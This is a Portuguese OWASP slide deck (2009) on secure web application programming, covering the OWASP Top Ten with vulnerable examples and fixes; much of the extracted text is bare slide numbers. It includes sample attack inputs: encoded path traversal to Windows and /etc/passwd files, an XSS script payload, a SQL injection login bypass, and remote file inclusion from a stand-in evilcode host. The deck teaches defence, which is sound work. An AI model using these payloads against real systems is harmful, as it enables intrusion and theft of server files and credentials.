Académique Documents
Professionnel Documents
Culture Documents
Programao Segura de
Aplicaes
Vitor Afonso
vitor@las.ic.unicamp.br
OWASP
Andr Grgio
gregio@las.ic.unicamp.br
Paulo Licio de Geus
paulo@las.ic.unicamp.br
Brasil 28/outubro/2009
Copyright The OWASP Foundation
Permission is granted to copy, distribute and/or modify this document
under the terms of the OWASP License.
AGENDA
Alguns princpios de programao segura.
OWASP Top Ten:
Problemas;
Por que os ataques ocorrem;
Exemplo de cdigo vulnervel;
Como se proteger.
Objetivo do Curso
Apresentar conceitos de segurana de software
e programao segura, abordando de maneira
prtica os problemas levantados pelo Top Ten
do OWASP.
Mostrar algumas ferramentas que podem ser
utilizadas para proteo e testes Web.
Compartilhar experincias de campo.
OWASP
Motivao
Peculiaridades da Web:
Anonimidade
Fraudes
Roubo de identidade
Jurisprudncia?
Abertura
Protocolos de comunicao bem documentados e
publicamente disponveis
Dados sendo transmitidos entre muitos ns => interceptao
Cloud computing => privacidade := NULL.
OWASP
Canonicalizao (problemas - I)
Canonicalizao -> processo no qual vrias
formas de um nome so transformadas em uma
forma nica
Quando a aplicao toma decises de segurana
baseadas em nomes (url, arquivo, diretrio etc),
se existir mais de uma representao para esse
nome, pode haver uma vulnerabilidade
Muitas formas de representar um caractere
ASCII, cdigo hexadecimal, UTF-8 com largura
varivel, codificao unicode UCS-2, codificao
dupla, cdigos HTML
OWASP
Canonicalizao (exemplos- I)
Falha no SecureIIS do eEye proteo para o
Internet Information Services (IIS)
Bloqueava requisio
http://www.exemplo.com/ver.asp?arquivo=../../../
winnt/repair/sam
Para evitar acesso a outros arquivos alm dos
permitidos, entretanto era possvel contornar essa
verificao com a requisio
http://www.exemplo.com/ver.asp?arquivo=%2e%2e/%2e
%2e/%2e%2e/winnt/repair/sam
%2e a representao hexadecimal do .(ponto)
OWASP
Canonicalizao (corrigindo - I)
Todo dado enviado para a aplicao deve ser
canonicalizado antes de ser verificado
Evite receber nomes de arquivos dos usurios
Configure o locale e charset adequadamente
Se usar UTF-8, reduzir para a forma mais
simples
OWASP
OWASP
OWASP
10
OWASP
11
OWASP
12
OWASP
13
14
OWASP
15
OWASP
16
OWASP
17
OWASP
18
19
OWASP
20
OWASP
21
OWASP
22
Evitando as vulnerabilidades do
OWASP top 10
OWASP
23
OWASP - 1
OWASP
24
Tipos
Persistente
No Persistente
Baseado no DOM (Document Object Model)
OWASP
25
XSS Persistente
Como acontece
Dados enviados por usurios so armazenados e
posteriormente mostrados para outro ou outros
usurios sem que sejam codificados
OWASP
26
OWASP
27
XSS Persistente
Dados armazenados (banco de dados, arquivo
etc)
Sem validar entrada
Sem codificar sada
OWASP
28
OWASP
29
OWASP
30
XSS No Persistente
Como acontece
Dado enviado por usurio ao servidor enviado de
volta ao usurio na resposta do servidor. Caso haja
cdigo em meio a esses dados, ele pode ser
executado no browser do cliente
OWASP
31
OWASP
32
Requisio
index.php?name=<script>alert(1)</
script>
OWASP
33
OWASP
34
OWASP
35
OWASP
36
OWASP
37
38
39
OWASP
40
41
OWASP
42
OWASP
43
44
OWASP
45
OWASP
46
47
OWASP
48
OWASP
49
OWASP
50
OWASP
51
OWASP - 2
INJECTION FLAWS
Injection flaws, particularly SQL injection, are
common in web applications. Injection occurs
when user-supplied data is sent to an interpreter
as part of a command or query. The attacker's
hostile data tricks the interpreter into executing
unintended commands or changing data.
OWASP
52
Injection flaws
Dados enviados pelos usurios so passados a
algum interpretador e so tratados como parte
de algum comando ou query
Possibilidade de executar aes diferentes das
desejadas pelo desenvolvedor da aplicao
Falta ou falha na validao de entrada
Vrios tipos (SQL, OS, LDAP etc)
OWASP
53
54
OU
login.jsp?usr=admin--&pwd=a
query <- SELECT * FROM usuarios WHERE username =
admin-- AND passwd=a
OWASP
55
OWASP
56
Stored procedures
Definir o que cdigo e o que dado (no banco de
dados)
Codificar entrada
Evitar que caracteres especiais sejam interpretados
Menor privilgio
Validar entrada (whitelist)
OWASP
57
58
OWASP
59
OWASP
60
OWASP
61
OWASP
62
63
OWASP
64
OWASP
65
66
67
OWASP
68
Injection flaws - SO
Aplicao usa dados enviados pelo usurio para
gerar um comando que passado ao sistema
Se no for feito corretamente o usurio poder
injetar comandos e execut-los com as mesmas
permisses da aplicao
OWASP
69
70
OWASP
71
OWASP
72
OWASP
73
74
OWASP - 3
OWASP
75
OWASP
76
OWASP
77
Exemplos:
include
include
include
include
http://www.example.com/evilcode.txt?.php;
ftp://ftp.example.com/evilcode.txt?.php;
data:text/plain;<?php phpinfo();?>.php;
./../../../etc/passwd\0.php;
OWASP
78
79
OWASP 4
OWASP
80
OWASP
81
require_once ($_REQUEST['language]."lang.php")
Nesse caso o atacante pode usar a string
../../../../etc/passwd%00 para acessar um
arquivo do servidor
OWASP
82
OWASP
83
OWASP - 5
OWASP
84
OWASP
85
Verificao de Referer
Alguns firewalls modificam o Referer
Flash pode fazer spoofing do Referer
H casos em que o browser no envia o Referer
OWASP
86
OWASP
87
OWASP
88
89
OWASP
90
Inserindo na pgina
...
1. <input type="hidden" name="token" value="<?php
echo criaFormToken($nome_form); ?>" />
...
OWASP
91
92
OWASP 6
OWASP
93
Vazamento de informaes
Informaes que podem levar ao
comprometimento de sistemas, seja por
exposio do dado-alvo ou de dados que levem
a um ataque com sucesso, podem vazar da
seguinte forma:
Por acidente
Problemas no cdigo, canais no-bvios.
Intencionalmente
Privacy issues, o time de desenvolvimento no est em
concordncia com o usurio final.
OWASP
94
OWASP
95
OWASP
96
97
Tratamento de erros
Alguns riscos de segurana tornam-se possveis
graas falta de habilidade dos programadores
em lidar com erros.
Programas podem terminar em um estado inseguro.
Seguramente ir causar DoS (crash, abort, restart).
OWASP
98
99
(cont.)
10
0
10
1
10
2
OWASP 7
OWASP
10
3
Quebra de autenticao
Autenticao na Web visa restringir certos
contedos.
Autenticao => Credenciais/Permisso de
acesso a recursos.
Autenticao HTTP:
Basic -> username e password so concatenados
separados por : e codificados em base64.
Digest -> enviado ao servidor um hash MD5 da
informao.
OWASP
10
4
OWASP
10
5
OWASP
10
6
$ echo "dGVzdGU6ZHVtbXlwYXNzd29yZA==" |
base64 d
teste:dummypassword
OWASP
10
7
Como atacar:
Fora-bruta
Replay de trfego capturado
OWASP
10
8
Replay de trfego:
TCPReplay (http://tcpreplay.synfin.net/trac/)
OWASP
10
9
OWASP
11
0
CAPTCHA
Minimiza o risco de ataques automatizados serem
utilizados com sucesso.
OWASP
11
1
Gerenciamento de sesso
Na navegao tradicional, comum o usurio
poder digitar a URL completa para acessar
diretamente a informao desejada.
No interessante poder digitar uma URL e cair
diretamente em uma pgina onde nmeros de
cartes de crdito foram inseridos para finalizar
uma compra
Desenvolvedor Web responsvel por adicionar
estado e mant-lo.
Forms e parmetros CGI associam pginas em
seqncia.
OWASP
11
2
Gerenciamento de sesso
Gerenciamento de sesso resolve o problema de
se manter estado em uma aplicao Web.
Cada usurio possui um identificador nico
associado durante a navegao em um site.
Identificador nico => nmero dado pelo servidor.
Requests incluem o identificador para diferenciar os
usurios em uma sesso e armazenar informaes de
estado no servidor.
11
3
11
4
OWASP
11
5
11
6
11
7
OWASP
11
8
11
9
12
0
OWASP
12
1
12
2
12
3
OWASP
12
4
12
5
OWASP - 8
OWASP
12
6
Conseqncias:
Confidencialidade
Integridade
Disponibilidade
OWASP
12
7
12
8
Porm:
$ echo "QmluZ28hCg==" | base64 -d
Bingo!
$ echo "Ovatb! 2" |tr A-Za-z N-ZA-Mn-za-m
Bingo! 2
OWASP
12
9
OWASP
13
0
OWASP 9
INSECURE COMMUNICATIONS:
Applications frequently fail to encrypt network
traffic when it is necessary to protect sensitive
communications.
OWASP
13
1
Comunicao insegura
A proteo contra exposio de dados sensveis
na comunicao entre servidores e clientes Web
encontra-se sob a forma da utilizao de SSL, ou
HTTPS.
SSL usa criptografia de chaves pblicas,
estabelecendo uma conexo inicial com RSA ou DiffieHellman. Depois, o browser e o servidor negociam um
mtodo comum para trocar a chave que ir cifrar
toda a comunicao subsequente.
A chave compartilhada cifrada com um mtodo
criptogrfico escolhido pelo browser de uma lista que
o servidor suporta, provida pelo SSL.
OWASP
13
2
OWASP
13
3
OWASP
13
4
OWASP
13
5
OWASP 10
FAILURE TO RESTRICT URL ACCESS:
Frequently, an application only protects sensitive
functionality by preventing the display of links or URLs to
unauthorized users. Attackers can use this weakness to
access and perform unauthorized operations by
accessing those URLs directly.
OWASP
13
6
OWASP
13
7
13
8
OWASP
13
9
14
0
Aplicaes compiladas
Sujeitas aos problemas tradicionais (e antigos)
de segurana de software:
Null string attacks
Buffer overflow
Integer overflow
Format string
OWASP
14
1
Ataques de NULL-String
Dados passeiam por diversas camadas de
software: aplicaes, bibliotecas, S.O.
Aplicaes Web so escritas em linguagem de
alto nvel (Java, PHP) e apoiadas por bibliotecas
de cdigo em linguagems de mais baixo nvel (C,
C++).
O caracter NULL (\0 ou %00) pode significar o
fim de uma string em linguagens de baixo
nvel ou nada em linguagens de alto nvel.
Pode-se enganar mecanismos de validao!
OWASP
14
2
if ($username ne root) {
# system (passwd, chpasswd, ) -> baixo nvel
} else {
die (you cannot change the root password);
}
14
3
14
4
14
5
OWASP
14
6
OWASP
14
7
HPP (exemplo - I)
/?TOPIC=Specifications&QUERY=compatibility&QUERY=extensions
OWASP
14
8
Vira
<script,src=...>
No HTML
14
9
HPP (corrigindo - I)
No lado cliente
Usar URL encoding quando colocar dados fornecidos
pelo usurio em URLs
No servidor
Usar URL encoding quando fizer requisies HTTP
para uma aplicao back-end
Usar regex rgido quando reescrever URLs
Validar entrada
Codificar sada
Saiba como sua aplicao se comporta na presena
de HPP
OWASP
15
0
OWASP
15
1
OWASP
15
2
OWASP
15
3
Proxies
Usados na interceptao, avaliao e
modificao de requisies
Pode ser usado para fazer testes, balano de
carga, validao inicial, detectar assinaturas de
ataques
Exemplos
mod_proxy(Apache), tamper data, webscarab,
ratproxy, burpsuite, paros
OWASP
15
4
Firewalls de aplicao
Bloquear requisies consideradas maliciosas
antes que cheguem aplicao
Exemplos
Mod_security, WebKnight
OWASP
15
5
IDS de aplicao
Buscam por assinaturas de ataque especficas
na camada (protocolos) de aplicao.
Em geral, funcionam de maneira similar a um
IDS por abuso tradicional, como o Snort, e
procuram por ataques Web mais comuns:
XSS,
Injections
CSRF
15
6
Estudo de Casos
Discusso de experincias dos autores em
reviso de cdigo de aplicaes Web e teste de
segurana de software.
Interao com o pblico visando compartilhar
experincias.
OWASP
15
7
Referncias (Links)
OWASP Open Web Application Security Project
http://www.owasp.org
15
8
Referncias (Livros)
How to Break Web Software (2006)
Mike Andrews & James A. Whittaker
Addison-Wesley / ISBN: 0-321-36944-0
15
9
PERGUNTAS ?
OWASP
16
0